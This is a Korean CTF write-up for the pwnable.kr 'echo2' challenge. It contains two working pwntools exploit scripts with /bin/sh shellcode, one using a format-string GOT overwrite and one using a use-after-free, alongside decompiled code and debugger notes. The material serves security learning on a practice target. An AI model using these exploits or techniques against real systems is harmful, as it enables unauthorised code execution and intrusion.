from pwn import *
p = remote("pwnable.kr", 9011)
# p = process("./echo2")
e = ELF("./echo2")
# shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
poprbpret = "\x5d\x5d\xc3"
free_got = e.got['free'] # 0x602000 = 6299648
id = e.symbols['id'] # 0x6020a0 = 6299808
p.sendlineafter("name? : ", poprbpret)
p.sendlineafter("> ", "2")
p.sendlineafter("\n", "%{}c%10$ln".format(free_got))
p.recvline() # print input
p.recvline() # print goodbye
# gdb.attach(p) ; check if main_rbp is overwritten to free_got
p.sendlineafter("> ", "2")
p.sendlineafter("\n", "%{}c%18$ln".format(id))
p.recvline() # print input
p.recvline() # print goodbye
# gdb.attach(p) ; check if free_got is overwritten to id_addr
p.sendlineafter("> ", "3")
p.sendlineafter("\n", shellcode)
p.recvline() # print shellcode
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
_QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL); // 전역변수 o, 0x602098
*((_QWORD *)o + 3) = greetings; // printf("hello %s\n", a1);
*((_QWORD *)o + 4) = byebye; // printf("goodbye %s\n", a1);
printf("hey, what's your name? : ");
__isoc99_scanf("%24s", v6);
v3 = o;
*(_QWORD *)o = v6[0];
v3[1] = v6[1];
v3[2] = v6[2];
id = v6[0]; // 전역변수 id, 0x6020a0
getchar();
// 전역변수 func, 0x602080
func[0] = (__int64)echo1; // puts("not supported");
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
for ( i = 0; i != 121; i = getchar() )
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &i);
getchar();
if ( i > 3 )
break;
((void (*)(void))func[i - 1])();
}
if ( i == 4 )
break;
puts("invalid menu");
}
cleanup(); // free(o)
printf("Are you sure you want to exit? (y/n)");
}
puts("bye");
return 0;
}
__int64 echo2()
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF
(*((void (__fastcall **)(void *))o + 3))(o);
get_input(format, 32LL); // fgets(format, 32LL, stdin)
printf(format); // fsb 취약점
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}
__int64 echo3()
{
char *s; // [rsp+8h] [rbp-8h]
(*((void (__fastcall **)(void *))o + 3))(o);
s = (char *)malloc(0x20uLL);
get_input(s, 32LL); // fgets(s, 32LL, stdin)
puts(s);
free(s);
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}
- Partial RELRO No canary found NX disabled No PIE
- echo2와 echo3 모두 main에서 호출하는 서브루틴 (rbp 동일하다)
<exploit 계획-1>
- echo3에서 할당받은 chunk에 쉘코드를 작성하고, echo2에서 [rbp-8] 위치에 접근해 주소를 leak
- rip를 leak한 chunk 주소로 옮기면 쉘코드가 실행될 것
// AAAAAAAA %p %p %p %p %p %p %p 결과
AAAAAAAA 0x7fffffffddb0 0x7ffff7dcf8d0 0x11 (nil) 0x7ffff7fe04c0 0x4141414141414141 ~
// 6번째에 [rsp] 값 접근 가능, 9번째에 [rsp+0x18]=[rbp-0x8] 접근 가능
// vmmap 결과 = 0x603000 0x624000 rwxp 21000 0 [heap] = execute 가능
<실패 이유>
echo2 호출하면서 rbp-0x8(%9$p)에 다른 값 덮어써짐 (0x4004b0, <_start>)
free(s) 과정에서 chunk 내 입력한 값 변조됨 (free chunk에 fd, bk 값 등록됨)
RET overwrite 할 방법이 딱히 없음.
<exploit 계획-2>
- 전역변수 id에 pop rbp; pop rbp; ret;(5d 5d c3) 입력
- echo2 두 번 실행하여
- rsp+0x10(%8$n) 혹은 rsp+0x20(%10$n)에 담긴 주소(main 함수 rbp)에 free_got 주소 write
- rsp+0x60(%18$n)에 담긴 주소(free_got)에 전역변수 id 주소 write
- echo3 실행하여 chunk에 쉘코드 입력
pwndbg> x/6gx $rsp // echo2 printf 호출 직전 스택상황
0x7fffffffddb0: 0x0000000a70243625 0x0000000000000000
0x7fffffffddc0: 0x00007fffffffde10 0x00000000004006b0
0x7fffffffddd0: 0x00007fffffffde10[sfp] 0x0000000000400acb[RET]
pwndbg> p/x 0x7fffffffde10-0x7fffffffddb0
$1 = 0x60
=> main_rbp 값은 rsp+0x10, rsp+0x20에 담겨있음 (%8$p, %10$p)
=> main_rbp와 echo2_rsp 간 거리 0x60, main_rbp는 %18$p로 접근 가능
=> free_got(0x602000), id(0x6020a0)
pwndbg> x/2gx $rsp // echo3 free 호출 직전 스택 상황
0x7fffffffddc0: 0x00007fffffffde10 0x00000000006036a0[chunk Addr]
// <free@plt> jmp [got에 들어있는 값] 실행될 시점에는 RET 주소도 스택에 push되어 있다!
1. 왜 pop; pop; ret; 인가?
echo3 스택 프레임에서 s (chunk addr)는 [rsp+0x8]에 위치한다.
우리는 free@got의 값을 바꿨고, call free@plt -> jmp [id 주소] -> [id에 담긴 명령어들] 이런 흐름이므로
id의 명령어들이 실행될 때에는 free 호출 후 돌아갈 RET 주소도 스택에 push되어 있다.
따라서 pop 2번 후 ret (=pop eip)를 통해 chunk로 rip를 이동시킬 수 있다
cf) pop rax(\x58), pop rbx(\x5b), pop rcx(\x59) 등등 pop rsp를 제외한 여러 선택지가 있겠다
2. 사용한 shellcode
#23 bytes
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#31 bytes
"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
3. UAF를 이용한 풀이
4를 고르고 'n'을 입력하면 o (0x28 크기의 chunk)는 free된 상태로 계속 진행할 수 있다.
3을 고르면 malloc(0x20); 에서 s에 free된 chunk가 재할당된다.
이미 해제된 포인터 o를 통해 greetings, byebye 호출하므로 이 위치에 shellcode의 주소를 넣어두면 되겠다
* 쉘코드를 어디다 넣느냐? 처음엔 echo2의 스택프레임(char format[32])에 넣어두려 했으나 함수 에필로그 과정에서 format[8~] 부분이 소실되더라.
=> main 함수의 스택프레임 char v6[32] (main_rbp-0x20)에 보관하자!
* use after free 시 p64(shell_addr)[:-1] 통해 23자 건네주어야 함
=> 안 그럴경우 마지막 한 바이트가 stdin에 입력버퍼에 남아있어 의도치 않은 동작을 한다
from pwn import *
p = remote("pwnable.kr", 9011)
# p = process("./echo2")
e = ELF("./echo2")
# 24자 이내의 shellcode만 사용 가능
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendlineafter("name? : ", shellcode) # shellcode in stack
p.sendlineafter("> ", "2") # leak echo2_rsp
p.sendlineafter("\n", "%10$p")
shell_addr = int(p.recvline()[:-1],16)-0x20 # main_rbp-0x20 = QWORD v6[4]
# print(hex(shell_addr))
p.recvline()
# gdb.attach(p)
p.sendlineafter("> ", "4") # free(o)
p.sendlineafter("(y/n)", "n")
p.sendlineafter("> ", "3") # use after free (chunk o)
p.sendlineafter("\n", b'A'*0x18+p64(shell_addr)[:-1]) # overwrite greetings()
p.sendlineafter("> ", "2")
p.interactive()
'security > 포너블 - pwnable.kr' 카테고리의 다른 글
pwnable.kr - [Rookiss] simple login (0) | 2023.02.27 |
---|---|
pwnable.kr - [Rookiss] loveletter (0) | 2023.02.26 |
pwnable.kr - [Rookiss] fix (0) | 2023.02.23 |
pwnable.kr - [Rookiss] echo1 (0) | 2023.02.23 |
pwnable.kr - [Rookiss] ascii_easy (0) | 2023.02.19 |